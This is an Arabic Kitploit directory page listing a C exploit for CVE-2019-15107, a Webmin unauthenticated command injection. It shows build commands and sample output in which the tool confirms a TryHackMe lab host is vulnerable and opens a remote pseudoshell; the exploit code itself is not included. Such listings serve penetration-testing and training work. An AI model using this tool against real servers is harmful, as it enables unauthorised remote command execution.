Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-15107 — استغلال CVE-2019-15107 لـ Webmin بلغة C | Kitploit
أدوات/GitHubGitHub/whokilleddb/cve-2019-15107
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةتطوير الحمولات
GitHubwhokilleddb/cve-2019-15107

CVE-2019-15107

استغلال CVE-2019-15107 لـ Webmin بلغة C

عرض المستودع
31منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال CVE-2019-15107 في Webmin

CVE-2019-15107

تم اكتشاف مشكلة في Webmin <=1.920. تحتوي المعلمة old في password_change.cgi على ثغرة حقن أوامر. [NVD]

التجميع

root@kitploit:~
$ git clone https://github.com/whokilleddb/CVE-2019-15107
$ cd CVE-2019-15107
$ make

مثال للاستخدام

root@kitploit:~
$ ./exploit http://thomaswreath.thm:10000
[+] CVE-2019-15107 Webmin Unauhenticated Remote Command Execution
[+] Target URI: http://thomaswreath.thm:10000

======Headers======
HTTP/1.0 200 Document follows
Server: MiniServ/1.890
Date: Sat, 14 Aug 2021 23:40:01 GMT
Content-type: text/html; Charset=iso-8859-1
Connection: close

[~] The Given Server Is Running In SSL MODE
[+] Switching To SSL
[+] The Given Server Might Be Vulnerable To CVE-2019-15107
[+] The Given Server IS VULNERABLE To CVE-2019-15107
[+] Starting Pseudoshell
[+] Maximum Command Length(CMD_SIZE) Is Set To: 2048
[+] To Exit, type: exit()

ملاحظة: تم إنشاء هذا الاستغلال أثناء محاولتي استخدام شبكة Wreath من TryHackMe، وبالتالي فإن المثال المعروض هنا يتوافق مع هذه الآلة.

الأسئلة الشائعة

Q : لماذا C بدلاً من Python3؟

A : لأنني سايكوباث

تنزيل الأداة